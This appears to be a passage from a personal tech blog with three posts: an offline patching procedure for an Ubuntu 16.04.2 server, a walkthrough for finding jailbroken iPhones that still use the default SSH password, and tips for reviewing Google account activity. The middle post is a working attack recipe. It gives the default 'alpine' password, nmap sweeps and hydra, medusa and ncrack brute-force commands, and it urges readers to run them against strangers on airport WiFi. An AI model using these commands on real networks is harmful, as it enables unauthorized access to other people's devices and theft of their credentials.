Offline Update/Upgrade Ubuntu Server 16.04.2

Background:

The Ubuntu server is in the restricted zone that doesn’t have Internet access. It was built from image “ubuntu-16.04.2-server-amd64.iso” (http://releases.ubuntu.com/16.04.2/). Nessus Scan showed it has 2 critical, 12 high, 3 medium and 1 low risk vulnerabilities.

It needs to be patched and pass the Nessus Scan. Google “offline ubuntu update” directed me to these Links: https://help.ubuntu.com/community/AptGet/Offline and https://wiki.ubuntu.com/OfflineUpdateSpec). However, I tried all the methods that the document mentioned, for some reasons they didn’t work for me:

1. Synaptic and Keryx needs GUI and Ubuntu server doesn’t have it by default.
2. The Tool apt-offline needs to be installed in the offline server in order to use it. This is tricky because the offline server doesn’t have internet to apt-get install it.
3. Not sure why but I couldn’t get apt-medium working on the Virtual Machine that I used to test the offline upgrade. It didn’t download any packages.

Solution:

After some researches, the issue can be solved by a few command lines. The solution is based on below facts:

1. Ubuntu saves all the packages in folder /var/cache/apt/archives and the list in /var/lib/apt/lists after update/upgrade.
2. The package index is saved in /etc/apt/sources.list file and in the /etc/apt/sources.list.d directory.
3. Offline installation can use command “sudo dpkg -i “ following by “sudo apt-get install -f”

Requirement for Test Environment:

1. Local Ubuntu Server 16.04.2 LTS without Internet Access.
2. Remote machine that has Vmware or Virtual box and Internet access.
3. Ubuntu Server 16.04.2 LTS image
4. A USB key or a blank CD.

Steps:

1. Install an Ubuntu Server 16.04.2 LTS virtual machine on VMware or Virtual Box. 

2. (optional) Run command “sudo /usr/lib/update-notifier/apt-check” to check the available updates. The result is x;y (x=packages can be updated. y=security updates)

 

3. Run below commands to patch the Ubuntu VM:

               sudo apt-get update

               sudo apt-get upgrade

               sudo apt-get dist-upgrade

4. (optional) you can run command “sudo /usr/lib/update-notifier/apt-check” to check the available updates again, it should be “0;0”.

5. Run below commands to create an offline repository.

              mkdir -p /tmp/offline/var/cache/apt/archives

              mkdir -p /tmp/offline/var/lib/apt/lists

              mkdir -p /tmp/offline/etc/apt

              mkdir -p /tmp/offline/etc/apt/sources.list.d

              sudo cp /var/cache/apt/archives/*.deb  /tmp/offline/var/cache/apt/archives

              # Might get warning message: cp: omitting directory '/var/lib/apt/lists/partial'

              # It can be ignored. 

              sudo cp /var/lib/apt/lists/*  /tmp/offline/var/lib/apt/lists

              sudo cp /etc/apt/sources.list /tmp/offline/etc/apt

              sudo cp -r /etc/apt/sources.list.d /tmp/offline/etc/apt/

              # Remove file /tmp/offline/var/lib/apt/lists/lock since it is no needed. 

              sudo rm -f /tmp/offline/var/lib/apt/lists/lock

 

6. Copy /tmp/offline to a USB key or use mkisofs to generate an ISO file

 

7. Connect the USB key to the local Ubuntu Server that doesn’t have Internet. Mount the USB key and copy the offline folder to /tmp folder.

               sudo mkdir -p /mnt/usb

               sudo mount /dev/sdb1 /mnt/usb

               sudo cp -rf /mnt/usb/offline /tmp

 

8. Run below commands to build the repository. 

               sudo cp -f /tmp/offline/var/cache/apt/archives/* /var/cache/apt/archives/

               sudo cp -f /tmp/offline/var/lib/apt/lists/* /var/lib/apt/lists/

               sudo cp -f /tmp/offline/etc/apt/sources.list /etc/apt/sources.list

               sudo cp -f /tmp/offline/etc/apt/sources.list.d/* /etc/apt/sources.list.d/*

9. Run below commands to patch the server:

               cd /var/cache/apt/archives/

               sudo dpkg -i *.deb

               sudo apt-get install -f -y

 

10. After the patch, the Nessus scan showed clean:

 

Note:

Above steps were tested on Ubuntu Server 16.04.2 LTS. The other version of Ubuntu should be working the same way. But it is not guaranty. 

Scan a subnet to find out jailbreak iPhone with default password

After jailbreak, most of the users will install OPENSSH on their IOS device. However, some of the users might not know or just forgot to change the default password. Below is the user list of an iPhone:

The default password of the username root and mobile is “alpine”.

So our goal is to scan a whole subnet and find if there are any jailbroken IOS devices can be SSH login with the default username and password.

Tools: nmap (v7.01)  , hydra (v8.1) or medusa (v2.2) or ncrack (v0.4ALPHA).

1.     Connect your computer to the wireless network and find out the IP range: 192.168.1.9/24.

2.     Use nmap to generate a hosts list: nmap -sL 192.168.1.9/24 | grep "Nmap scan report" | awk '{print $NF}' > hosts.lst

3.     Or if you only want to scan the live hosts, you can use command: nmap -sP -n 192.168.1.9/24 | grep "Nmap scan report"| awk '{print $NF}' > liveHosts.lst

4.     Create 2 text files: username.txt and password.txt

5.     Run command: hydra -t 4 -L username.txt -P password.txt -M hosts.lst -s 22 ssh

6.     It took 12 minutes to get the password:

7.     Or you can use medusa: medusa -H liveHosts.lst -U username.txt -P password.txt -M ssh

8.     Ncrack also can do the job: ncrack -p ssh -U username.txt -P password.txt -iL liveHosts.lst --exclude 192.168.1.9. And you can press 'p' to list discovered credentials during the scan.

Following the steps above, you can easily modify the username and password file to perform a dictionary or brute force attack.

Ok, that’s it. Next time, you go to an airport, connect your Kali Linux to the free WIFI, have a cup of coffee and scan the whole subnet. You might be surprised. 

BTW, to change the password, just ssh to the iPhone with root and use command “passwd” and “passwd mobile”

Check Your Google account activity

It is a good security practice to check your Google Account activity history regularly.

1. Check Gmail login history
  1) Login to Gmail box, scroll down to the end of page, on the right-end side, there is a “Details” link.

 2) Click “Details”, brings you the Gmail login history:

    3) In case someone login to your account from other place, you can click “Sign out all other web sessions” to sign them out.
    4) It is recommended to select the “Show an alert for unusual activity.” Option.

2. Check Recently used devices
  1) Login to your Google account
  2) Open (Copy & paste) this link: https://security.google.com/settings/security/activity
  3) The page lists devices that have been active on your account in the last 28 days.

3. Check All activity history including web browsing:
  1) Login to your Google account.
  2) Open (Copy & paste) this link: https://myactivity.google.com/myactivity